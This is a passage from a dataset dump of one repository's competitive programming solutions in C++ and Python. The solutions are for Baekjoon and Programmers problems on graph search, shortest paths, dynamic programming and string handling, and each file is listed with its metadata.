!q.empty()) {\n q.pop();\n cnt++;\n }\n \n answer.push_back(cnt);\n }\n \n return answer;\n}\n\nint main() {\n vector<int> answer = solution({93, 30, 55}, {1, 30, 5});\n\n for(int i = 0 ; i < answer.size() ; i++) {\n cout << answer[i] << \" \";\n }\n\n return 0;\n}"},{"alpha_fraction":0.3855970799922943,"alphanum_fraction":0.4175022840499878,"avg_line_length":15.89230728149414,"blob_id":"3319a946283504ac11b3ce5b66857269cb9bf626","content_id":"27e199fc1356a01be45a36168e667311c0ba2724","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1113,"license_type":"no_license","max_line_length":58,"num_lines":65,"path":"/BOJ/BFS_DFS/11724.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 11724번: 연결 요소의 개수\nDATE: 2021-05-25\nDFS, BFS\n*/\n#include <iostream>\n#include <queue>\n#define MAX 1001\nusing namespace std;\n\nint n, m, cnt=0;\nint arr[MAX][MAX];\nbool visited[MAX];\n\nvoid bfs(int num){\n queue<int> q;\n visited[num] = true;\n q.push(num);\n\n while(!q.empty()){\n int front = q.front();\n q.pop();\n\n for(int i = 1 ; i <= n ; i++){\n if(arr[front][i] && !visited[i]){\n visited[i] = true;\n q.push(i);\n }\n }\n }\n}\n\nvoid dfs(int num){\n visited[num] = true;\n\n for(int i = 1 ; i <= n ; i++){\n if(arr[num][i] && !visited[i]){\n dfs(i);\n }\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> m;\n\n for(int i = 0 ; i < m ; i++){\n int num1, num2;\n cin >> num1 >> num2;\n arr[num1][num2] = arr[num2][num1] = 1;\n }\n\n for(int j = 1 ; j <= n ; j++){\n if(!visited[j]){\n cnt++;\n bfs(j);\n //or\n //dfs(j);\n }\n }\n\n cout << cnt;\n\n return 0;\n}"},{"alpha_fraction":0.3388111889362335,"alphanum_fraction":0.36818182468414307,"avg_line_length":22.45081901550293,"blob_id":"4beb8cf3f7062a0bd0e92d9da1cc41a920bfcc78","content_id":"0f88b0085a1b32263e940e9e0cdfb0fdf61a4f42","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2870,"license_type":"no_license","max_line_length":58,"num_lines":122,"path":"/BOJ/Implementation/14891.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//BOJ 14891번: 톱니바퀴\n//2021-07-12\n#include <iostream>\n#include <vector>\n#include <math.h>\nusing namespace std;\n\nvector<int> number, direction;\nint arr[4][8];\nint k, ans=0;\n\nvoid turn_gear(int gear, int turn){\n if(turn == 1){ //Clockwise\n int tmp = arr[gear][7];\n\n for(int j = 6 ; j >= 0 ; j--){\n arr[gear][j+1] = arr[gear][j];\n }\n\n arr[gear][0] = tmp;\n }\n else if(turn == -1){ //Counterclockwise\n int tmp = arr[gear][0];\n\n for(int j = 1 ; j < 8 ; j++){\n arr[gear][j-1] = arr[gear][j];\n }\n\n arr[gear][7] = tmp;\n }\n}\n\nvoid solve(){\n for(int i = 0 ; i < number.size() ; i++){\n vector<pair<int,int>> v;\n int gear = number[i] - 1;\n int turn = direction[i], next_turn = -turn;\n\n if(gear == 0){\n for(int j = 1 ; j < 4 ; j++){\n if(arr[j-1][2] == arr[j][6]) break;\n else{\n v.push_back(make_pair(j, next_turn));\n next_turn = -next_turn;\n }\n }\n }\n else if(gear == 1){\n if(arr[0][2] != arr[gear][6]){\n turn_gear(0, next_turn);\n }\n for(int j = 2 ; j < 4 ; j++){\n if(arr[j-1][2] == arr[j][6]) break;\n else{\n v.push_back(make_pair(j, next_turn));\n next_turn = -next_turn;\n }\n }\n }\n else if(gear == 2){\n if(arr[gear][2] != arr[3][6]){\n turn_gear(3, next_turn);\n }\n for(int j = 1 ; j >= 0 ; j--){\n if(arr[j+1][6] == arr[j][2]) break;\n else{\n v.push_back(make_pair(j, next_turn));\n next_turn = -next_turn;\n }\n }\n \n }\n else if(gear == 3){\n for(int j = 2 ; j >= 0 ; j--){\n if(arr[j+1][6] == arr[j][2]) break;\n else{\n v.push_back(make_pair(j, next_turn));\n next_turn = -next_turn;\n }\n }\n }\n\n turn_gear(gear, turn);\n\n for(int j = 0 ; j < v.size() ; j++){\n turn_gear(v[j].first, v[j].second);\n }\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n for(int i = 0 ; i < 4 ; i++){\n string str;\n cin >> str;\n for(int j = 0 ; j < 8 ; j++){\n arr[i][j] = str[j] - '0';\n }\n }\n\n cin >> k;\n\n for(int i = 0 ; i < k ; i++){\n int num1, num2;\n cin >> num1 >> num2;\n\n number.push_back(num1);\n direction.push_back(num2);\n }\n\n solve();\n\n for(int i = 0 ; i < 4 ; i++){\n if(arr[i][0] == 1) {\n ans += pow(2, i);\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.3627311587333679,"alphanum_fraction":0.4068278670310974,"avg_line_length":23.258621215820312,"blob_id":"c5077c4d8d357594cec8c6275ec3fc0d6e2260b0","content_id":"f977c1a7122e93ff8b8e32764ec6906d5618d7a9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1436,"license_type":"no_license","max_line_length":93,"num_lines":58,"path":"/BOJ/Implementation/7682.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 7682번: 틱택토\nDATE: 2022-04-15\n*/\n#include <iostream>\nusing namespace std;\n\nchar arr[3][3];\n\nbool checkWin(string str, char win){\n // 가로 \n for(int i = 0 ; i < 3 ; i++){\n if(arr[i][0] == win && arr[i][0] == arr[i][1] && arr[i][1] == arr[i][2]) return true;\n }\n\n // 세로\n for(int i = 0 ; i < 3 ; i++){\n if(arr[0][i] == win && arr[0][i] == arr[1][i] && arr[1][i] == arr[2][i]) return true;\n }\n\n // 대각선\n if(arr[0][0] == win && arr[0][0] == arr[1][1] && arr[1][1] == arr[2][2]) return true;\n if(arr[0][2] == win && arr[0][2] == arr[1][1] && arr[1][1] == arr[2][0]) return true;\n\n return false;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string str;\n\n while(1){\n cin >> str;\n\n if(str == \"end\") break;\n\n int X = 0, O = 0;\n\n for(int i = 0 ; i < 9 ; i++) {\n if(str[i] == 'X') X++;\n else if(str[i] == 'O') O++;\n arr[i / 3][i % 3] = str[i];\n }\n\n if(X == O + 1 && checkWin(str, 'X') && !checkWin(str, 'O')) { // X 승\n cout << \"valid\\n\";\n }\n else if(X == O && checkWin(str, 'O') && !checkWin(str, 'X')){ // O 승\n cout << \"valid\\n\";\n }\n else if(X == 5 && O == 4 && !checkWin(str, 'X') && !checkWin(str, 'O')){ // 비김\n cout << \"valid\\n\";\n }\n else cout << \"invalid\\n\";\n }\n\n return 0;\n}"},{"alpha_fraction":0.4985451102256775,"alphanum_fraction":0.5266731381416321,"avg_line_length":19.235294342041016,"blob_id":"e89f2686637754079a4be8267a14c42eae2db8a3","content_id":"a3a7c717188f3f941587a3800752f58cb9837c13","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1043,"license_type":"no_license","max_line_length":68,"num_lines":51,"path":"/BOJ/BFS_DFS/1967.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 1967번: 트리의 지름\nDATE: 2021-01-21\n*/\n#include <iostream>\n#include <vector>\n#include <string.h>\n#define NODE 10001\n\nusing namespace std;\n\nbool visited[NODE] = { false, };\nint n, next_node, diameter = 0;\nvector<pair <int, int>> tree[NODE];\n\nvoid dfs(int node, int weight) {\n if(weight > diameter){\n diameter = weight;\n next_node = node;\n }\n\n for (int i = 0; i < tree[node].size(); i++) {\n if (!visited[tree[node][i].first]) {\n visited[tree[node][i].first] = true;\n dfs(tree[node][i].first, weight + tree[node][i].second);\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\n cin >> n;\n\n for (int i = 1; i <= n - 1; i++) {\n int p, c, w;\n cin >> p >> c >> w;\n tree[p].push_back(make_pair(c, w));\n tree[c].push_back(make_pair(p, w));\n }\n\n visited[1] = true;\n dfs(1, 0);\n\n memset(visited, false, NODE);\n visited[next_node] = true;\n dfs(next_node, 0);\n\n cout << diameter;\n return 0;\n}"},{"alpha_fraction":0.40514469146728516,"alphanum_fraction":0.4662379324436188,"avg_line_length":15.421052932739258,"blob_id":"855f35368d3d687df59967ef0297e7809f8f2b51","content_id":"f64667a40e14f16c51bbe3898f0a89139adebbd9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":319,"license_type":"no_license","max_line_length":58,"num_lines":19,"path":"/BOJ/Implementation/2440.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2440번: 별 찍기 - 3\nDATE: 2022-02-13\n*/\n#include <iostream>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n cin >> n;\n\n for(int i = n ; i > 0 ; i--){\n for(int j = 0 ; j < i ; j++) cout << \"*\";\n cout << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.3207964599132538,"alphanum_fraction":0.3620944023132324,"avg_line_length":18.955883026123047,"blob_id":"817d3488a99093f5426a0ee42f83ca1d9cf53c51","content_id":"676ad883c1b56be3839829440dc632e36317bbb1","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1366,"license_type":"no_license","max_line_length":107,"num_lines":68,"path":"/BOJ/BFS_DFS/10026.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 10026번: 적록색약\nDATE: 2021-10-14\nDFS\n*/\n#include <iostream>\n#include <cstring>\nusing namespace std;\n\nchar arr[100][100];\nint visited[100][100] = {0, };\nint n;\nint dx[4] = {-1, 0, 1, 0};\nint dy[4] = {0, 1, 0, -1};\n\nvoid dfs(int x, int y) {\n visited[x][y] = 1;\n\n for(int i = 0 ; i < 4 ; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= n || visited[nx][ny] || arr[nx][ny] != arr[x][y]) continue;\n dfs(nx, ny);\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int cnt = 0, cnt_rg = 0;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < n ; j++) {\n cin >> arr[i][j];\n }\n }\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < n ; j++) {\n if(!visited[i][j]){\n dfs(i, j);\n cnt++;\n }\n }\n }\n\n memset(visited, 0, sizeof(visited));\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < n ; j++) {\n if(arr[i][j] == 'R') arr[i][j] = 'G';\n }\n }\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < n ; j++) {\n if(!visited[i][j]){\n dfs(i, j);\n cnt_rg++;\n }\n }\n }\n \n cout << cnt << \" \" << cnt_rg << '\\n';\n\n return 0;\n}"},{"alpha_fraction":0.3856613039970398,"alphanum_fraction":0.4128553867340088,"avg_line_length":18.7560977935791,"blob_id":"b44a9b4c1bc315bbca3305816f611d248fdea088","content_id":"08153dded87f910ac5aa43933c80601e77a8f0bb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":817,"license_type":"no_license","max_line_length":62,"num_lines":41,"path":"/BOJ/Binary Search/2776.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2776번: 암기왕\n2021-12-19\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n vector<int> v;\n int tc, n, m, num;\n cin >> tc;\n\n for(int i = 0 ; i < tc ; i++) {\n v.clear(); \n cin >> n;\n \n for(int i = 0 ; i < n ; i++) {\n cin >> num;\n v.push_back(num);\n }\n\n sort(v.begin(), v.end());\n\n cin >> m;\n\n for(int i = 0 ; i < m ; i++) {\n cin >> num;\n \n auto upper = upper_bound(v.begin(), v.end(), num);\n auto lower = lower_bound(v.begin(), v.end(), num);\n\n if(upper - lower > 0) cout << 1 << '\\n';\n else cout << 0 << '\\n';\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.4242236018180847,"alphanum_fraction":0.45279502868652344,"avg_line_length":22.014286041259766,"blob_id":"25bebdcd28fdfd9f2001b500608d495f25f12bdd","content_id":"8f5e87415db494dca337a840eb25e12ff0245b49","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1624,"license_type":"no_license","max_line_length":130,"num_lines":70,"path":"/programmers/Level 1/recommend_new_id.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 1 : 신규 아이디 추천\n//2021 KAKAO BLIND RECRUITMENT\n//2021-09-20\n#include <string>\n#include <cctype>\n#include <iostream>\n\nusing namespace std;\n\nstring solution(string new_id) {\n string tmp;\n \n //step 1\n for(int i = 0 ; i < new_id.length() ; i++) {\n if(isupper(new_id[i])) {\n new_id[i] = tolower(new_id[i]);\n }\n }\n \n //step 2\n for(int i = 0 ; i < new_id.length() ; i++) {\n if(islower(new_id[i]) || isdigit(new_id[i]) || new_id[i] == '-' || new_id[i] == '_' || new_id[i] == '.') tmp += new_id[i];\n }\n \n new_id = tmp;\n tmp.clear();\n \n //step 3\n for(int i = 0 ; i < new_id.length() ; i++) {\n if(new_id[i] == '.') {\n if(new_id[i - 1] != '.') tmp += new_id[i];\n }\n else tmp += new_id[i];\n }\n \n new_id = tmp;\n tmp.clear();\n \n //step 4\n for(int i = 0 ; i < new_id.length() ; i++) {\n if(new_id[0] == '.') new_id = new_id.substr(1, new_id.length() - 1);\n if(new_id[new_id.length() - 1] == '.') new_id = new_id.substr(0, new_id.length() - 1);\n }\n \n //step 5\n if(new_id.length() == 0) new_id = 'a';\n \n //step 6\n if(new_id.length() > 15) {\n new_id = new_id.substr(0, 15);\n if(new_id[14] == '.') new_id = new_id.substr(0, 14);\n }\n \n //step 7\n if(new_id.length() < 3){\n char ch = new_id[new_id.length() - 1];\n while(new_id.length() != 3) new_id += ch;\n }\n \n string answer = new_id;\n\n return answer;\n}\n\nint main() {\n string answer = solution(\"...!@BaT#*..y.abcdefghijklm\");\n cout << answer;\n\n return 0;\n}"},{"alpha_fraction":0.5250403881072998,"alphanum_fraction":0.5420032143592834,"avg_line_length":24.285715103149414,"blob_id":"816b8773c45b2bc4a84ee56ada33d9f7b86c920d","content_id":"9bbc96c5185f1a2c47b98c28d835e35f426d5584","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1306,"license_type":"no_license","max_line_length":82,"num_lines":49,"path":"/programmers/Level 1/report_result.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 1: 신고 결과 받기\n2022 KAKAO BLIND RECRUITMENT\nDATE: 2022-04-02\n*/\n#include <string>\n#include <vector>\n#include <map>\n#include <set>\n#include <algorithm>\nusing namespace std;\n\nbool cmp(pair<string, int> p1, pair<string, int> p2) {\n return p1.second < p2.second;\n}\n\nvector<int> solution(vector<string> id_list, vector<string> report, int k) {\n vector<int> answer(id_list.size());\n map<string, int> id, mail; \n map<string, set<string>> all_report; // 신고 당한 유저, 신고한 유저의 집합\n \n for(auto i : report){\n int idx = i.find(' ');\n string a = i.substr(0, idx); // 신고한 ID\n string b = i.substr(idx + 1); // 신고당한 ID\n\n if(all_report[b].find(a) != all_report[b].end()) continue; \n all_report[b].insert(a);\n id[b]++; // b가 신고당한 횟수\n }\n \n for(int i = 0 ; i < id_list.size() ; i++) mail[id_list[i]] = 0;\n \n for(auto i : id){\n string user_id = i.first;\n int cnt = i.second;\n \n if(cnt >= k) {\n for(auto j : all_report[user_id]) mail[j]++;\n }\n }\n \n for(auto i : mail) {\n int idx = find(id_list.begin(), id_list.end(), i.first) - id_list.begin();\n answer[idx] = i.second;\n }\n \n return answer; \n}"},{"alpha_fraction":0.45571956038475037,"alphanum_fraction":0.49261993169784546,"avg_line_length":18.39285659790039,"blob_id":"352152e7a6934dc139fe2ae5d8ba777551e0e096","content_id":"3aab69c5aaabdac36db8ff760289fa91e3a8820a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":556,"license_type":"no_license","max_line_length":83,"num_lines":28,"path":"/BOJ/Implementation/11651.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 11651번: 좌표 정렬하기 2\nDATE: 2021-04-29\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\npriority_queue<pair<int, int>, vector<pair<int, int>>, greater<pair<int, int>>> pq;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n int x, y;\n cin >> x >> y;\n pq.push(make_pair(y, x));\n }\n\n for(int i = 0 ; i < n ; i++){\n cout << pq.top().second << \" \" << pq.top().first << '\\n';\n pq.pop();\n }\n\n return 0;\n}"},{"alpha_fraction":0.3916161060333252,"alphanum_fraction":0.4175399839878082,"avg_line_length":21.395061492919922,"blob_id":"f199aed395fb7076a30ea476c2679bf620a9dcdc","content_id":"04d097e6e6fd78351c75a44283b45974beeb5886","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2055,"license_type":"no_license","max_line_length":99,"num_lines":81,"path":"/BOJ/BFS_DFS/16236.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 16236번: 아기 상어\nDATE: 2021-04-11\nBFS\n*/\n#include <iostream>\n#include <queue>\n#include <tuple>\n#include <cstring>\n#include <algorithm>\n#define MAX 20\nusing namespace std;\n\nint arr[MAX][MAX];\nint n; \nint shark=2, eat, mv; //상어의 크기, 상어가 먹은 물고기 수, 상어가 움직인 횟수\nbool visited[MAX][MAX];\nint dx[4] = {0, 1, 0, -1};\nint dy[4] = {1, 0, -1, 0};\n\npriority_queue<tuple<int, int, int>> pq;\n//최소힙의 우선순위는 이동거리 - x좌표 - y좌표\n//문제의 우선순위가 거리가 가까운 것 - 가장 위쪽 - 가장 왼쪽이기 때문에\n\nvoid bfs(){\n tuple<int, int, int> t;\n\n while(!pq.empty()){\n t = pq.top();\n int d = -get<0>(t);\n int x = -get<1>(t);\n int y = -get<2>(t);\n pq.pop();\n\n if(0 < arr[x][y] && arr[x][y] < shark){ //해당 위치의 물고기를 먹을 수 있는 경우\n eat++;\n arr[x][y] = 0;\n if(shark == eat){ //상어의 크기 수만큼 물고기를 먹었을 때\n eat = 0;\n shark++;\n }\n\n mv += d;\n d = 0;\n memset(visited, false, sizeof(visited));\n while(!pq.empty()) pq.pop();\n }\n\n for(int i = 0 ; i < 4 ; i++){\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx >= 0 && ny >= 0 && nx < n && ny < n && arr[nx][ny] <= shark && !visited[nx][ny]){\n visited[nx][ny] = true;\n pq.push(make_tuple(-(d+1), -nx, -ny));\n }\n }\n\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n;\n \n for(int i = 0 ; i < n ; i++){\n for(int j = 0 ; j < n ; j++){\n cin >> arr[i][j];\n if(arr[i][j] == 9){\n pq.push(make_tuple(0, -i, -j)); //우선순위 큐를 min heap으로 바꾸기 위해 음수 처리\n arr[i][j] = 0;\n visited[i][j] = true;\n }\n }\n }\n\n bfs();\n cout << mv;\n \n return 0;\n}"},{"alpha_fraction":0.36638572812080383,"alphanum_fraction":0.3886960744857788,"avg_line_length":22.74117660522461,"blob_id":"c27b1ac93afedca9c5142a06047957f19d770c50","content_id":"e9f36360bc0384a231dde70360b8836d47a4be4b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":2077,"license_type":"no_license","max_line_length":97,"num_lines":85,"path":"/BOJ/BFS_DFS/16234.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 16234번: 인구 이동\nDATE: 2021-11-10\nDFS\n*/\n#include <iostream>\n#include <queue>\n#include <string.h>\n#define MAX 50\nusing namespace std;\nint n, l, r, sum = 0;\nint arr[MAX][MAX];\nbool visited[MAX][MAX];\nint dx[4] = {-1, 0, 1, 0};\nint dy[4] = {0, 1, 0, -1};\nvector<pair<int,int>> v;\n\nvoid dfs(int x, int y) {\n v.push_back(make_pair(x, y));\n visited[x][y] = true;\n sum += arr[x][y];\n\n for(int i = 0 ; i < 4 ; i++) {\n int nx = x + dx[i];\n int ny = y + dy[i];\n\n if(nx < 0 || ny < 0 || nx >= n || ny >= n || visited[nx][ny]) continue;\n if(abs(arr[nx][ny] - arr[x][y]) < l || abs(arr[nx][ny] - arr[x][y]) > r) continue;\n dfs(nx, ny);\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int ans = 0;\n cin >> n >> l >> r;\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < n ; j++) {\n cin >> arr[i][j];\n }\n }\n\n while(1) {\n memset(visited, false, sizeof(visited));\n vector<pair<pair<int,int>, int>> record;\n int cnt = 0;\n\n for(int i = 0 ; i < n ; i++) {\n for(int j = 0 ; j < n ; j++) {\n if(!visited[i][j]) {\n v.clear(); sum = 0;\n dfs(i, j);\n\n if(v.size() == 1) {\n visited[i][j] = false;\n cnt++;\n continue;\n }\n\n int num = sum / v.size();\n for(int i = 0 ; i < v.size() ; i++) {\n record.push_back({{v[i].first, v[i].second}, num}); // (값을 변경할 위치, 변경할 값)\n }\n }\n }\n }\n\n if(cnt == n * n) break; // 더 이상 인구 이동이 불가능한 경우\n\n for(int i = 0 ; i < record.size() ; i++) {\n int x = record[i].first.first;\n int y = record[i].first.second;\n int num = record[i].second;\n\n arr[x][y] = num;\n }\n\n ans++;\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4248366057872772,"alphanum_fraction":0.4901960790157318,"avg_line_length":13.619047164916992,"blob_id":"23cae1492d24f19281d7e9027ffe60c00bef8f73","content_id":"0f8ecac9a1cc8c4fc29fab054e1d48eda2bf7990","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":314,"license_type":"no_license","max_line_length":58,"num_lines":21,"path":"/BOJ/Bitmask/1094.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1094번: 막대기\nDATE: 2022-01-25\nBitmask\n*/\n#include <iostream>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, ans = 0;\n cin >> n;\n\n for(int i = 0 ; i < 7 ; i++) {\n if(n & (1 << i)) ans++;\n }\n\n cout << ans;\n \n return 0;\n}"},{"alpha_fraction":0.342803031206131,"alphanum_fraction":0.3797348439693451,"avg_line_length":17.224138259887695,"blob_id":"85f950df0e2ecd1943cadad08c857019a093499c","content_id":"2ffe02171c1f780b48e87b9884ae33766406f948","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1106,"license_type":"no_license","max_line_length":58,"num_lines":58,"path":"/BOJ/Implementation/2866.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2866번: 문자열 잘라내기\nDATE: 2021-11-16\n*/\n#include <iostream>\n#include <set>\nusing namespace std;\n\nchar arr[1000][1000];\nint r, c;\n\nbool check_overlap() { // 마지막 줄만 검사\n int alpha[26] = {0, };\n bool flag = true;\n\n for(int i = 0 ; i < c ; i++) {\n if(++alpha[arr[r-1][i] - 97] > 1) {\n flag = false;\n break;\n }\n }\n\n return flag;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int cnt = 0;\n cin >> r >> c;\n\n for(int i = 0 ; i < r ; i++) {\n for(int j = 0 ; j < c ; j++) {\n cin >> arr[i][j];\n }\n }\n\n if(check_overlap()) cout << r - 1; // 문자열 중복 X\n else { // 문자열 중복 O\n string str[c];\n set<string> s;\n\n for(int i = r - 1 ; i >= 0 ; i--) {\n for(int j = 0 ; j < c ; j++) {\n str[j] += arr[i][j];\n s.insert(str[j]);\n }\n\n if(s.size() == c) {\n cout << i;\n break;\n }\n\n s.clear();\n }\n }\n\n return 0;\n}"},{"alpha_fraction":0.39054054021835327,"alphanum_fraction":0.4445945918560028,"avg_line_length":24.55172348022461,"blob_id":"09bdcc14fd66bfd15bf6e9867104718f15dc3956","content_id":"e0d677d2e9a52749aaeeef84819680f69f2fd5b0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":742,"license_type":"no_license","max_line_length":107,"num_lines":29,"path":"/BOJ/Dynamic Programming/1958.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1958번: LCS 3\nDATE: 2022-02-17\nDynamic Programming (Longest Common Subsequence)\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint dp[101][101][101];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n string a, b, c;\n cin >> a >> b >> c;\n\n for(int i = 1 ; i <= a.length() ; i++){\n for(int j = 1 ; j <= b.length() ; j++){\n for(int k = 1 ; k <= c.length() ; k++){\n if(a[i - 1] == b[j - 1] && b[j - 1] == c[k - 1]) dp[i][j][k] = dp[i - 1][j - 1][k - 1] + 1;\n else dp[i][j][k] = max({dp[i - 1][j][k], dp[i][j - 1][k], dp[i][j][k - 1]});\n }\n }\n }\n \n cout << dp[a.length()][b.length()][c.length()];\n\n return 0;\n}"},{"alpha_fraction":0.47398844361305237,"alphanum_fraction":0.49793559312820435,"avg_line_length":19.542373657226562,"blob_id":"e3dc59bb3d7fcd421cfe7ea4dafc1d64ee212093","content_id":"95e71d7898bd6837566eaea6dab0767608d3d9d6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1221,"license_type":"no_license","max_line_length":84,"num_lines":59,"path":"/BOJ/Dijkstra/5972.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 5972번: 택배 배송\n2021-12-29\nDijkstra Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#define MAX 50001\n#define INF 1e9\nusing namespace std;\n\nint d[MAX];\nvector<pair<int, int>> graph[MAX];\n\nvoid dijkstra(int start) {\n priority_queue<pair<int,int>, vector<pair<int,int>>, greater<pair<int,int>>> pq;\n \n pq.push({0, start});\n d[start] = 0;\n\n while(!pq.empty()) {\n int distance = pq.top().first;\n int cur = pq.top().second;\n pq.pop();\n\n if(distance > d[cur]) continue; \n for(int i = 0 ; i < graph[cur].size() ; i++) {\n int newDistance = graph[cur][i].second;\n int next = graph[cur][i].first;\n\n if(newDistance + distance < d[next]) {\n d[next] = newDistance + distance;\n pq.push({d[next], next});\n }\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m;\n int a, b, c;\n\n cin >> n >> m;\n\n for(int i = 0 ; i < m ; i++) {\n cin >> a >> b >> c;\n graph[a].push_back({b, c});\n graph[b].push_back({a, c});\n }\n\n fill(d, d + n + 1, INF);\n\n dijkstra(1);\n cout << d[n];\n \n return 0;\n}"},{"alpha_fraction":0.47730061411857605,"alphanum_fraction":0.5030674934387207,"avg_line_length":17.545454025268555,"blob_id":"3cd1692539828ab077dcebeccb8e8cd329f58b0d","content_id":"0a5f3e4d9478af326abae0e0c8e9ac96dcb462ba","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":819,"license_type":"no_license","max_line_length":35,"num_lines":44,"path":"/BOJ/BFS_DFS/1260.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# 1260.py\n# BOJ 1260번: DFS와 BFS\n# DATE: 2022-03-15\nimport sys\nfrom collections import deque\nread = sys.stdin.readline\n\ndef dfs(v):\n print(v, end=' ')\n visited[v] = True\n \n for i in graph[v]:\n if not visited[i]:\n dfs(i)\n\ndef bfs(n):\n visited[n] = True;\n queue = deque([n])\n \n while queue:\n v = queue.popleft()\n print(v, end=' ')\n \n for i in graph[v]:\n if not visited[i]:\n queue.append(i)\n visited[i] = True\n \nn, m, v = map(int, read().split())\ngraph = [[] for _ in range(n+1)]\nvisited = [False] * (n+1)\n\nfor _ in range(m):\n a, b = map(int, read().split())\n graph[a].append(b)\n graph[b].append(a)\n\nfor i in range(1, n+1):\n graph[i].sort()\n \ndfs(v)\nvisited = [False] * (n+1)\nprint()\nbfs(v)"},{"alpha_fraction":0.4285714328289032,"alphanum_fraction":0.4680851101875305,"avg_line_length":14.325581550598145,"blob_id":"e70c5b6e009c456c71e388bb9301f7a404daec0e","content_id":"b6bf56915fb1640b23da7755cba2a4dcc6595b26","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":672,"license_type":"no_license","max_line_length":58,"num_lines":43,"path":"/BOJ/BFS_DFS/1182.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1182번: 부분수열의 합\nDATE: 2022-02-04\nBacktracking\n*/\n#include <iostream>\nusing namespace std;\n\nint n, s, ans;\nint arr[21];\nbool visited[21];\n\nvoid dfs(int num) {\n int sum = 0;\n\n for(int i = 1 ; i <= n ; i++) {\n if(visited[i]) sum += arr[i];\n }\n\n if(sum == s) ans++;\n\n for(int i = num ; i <= n ; i++) {\n 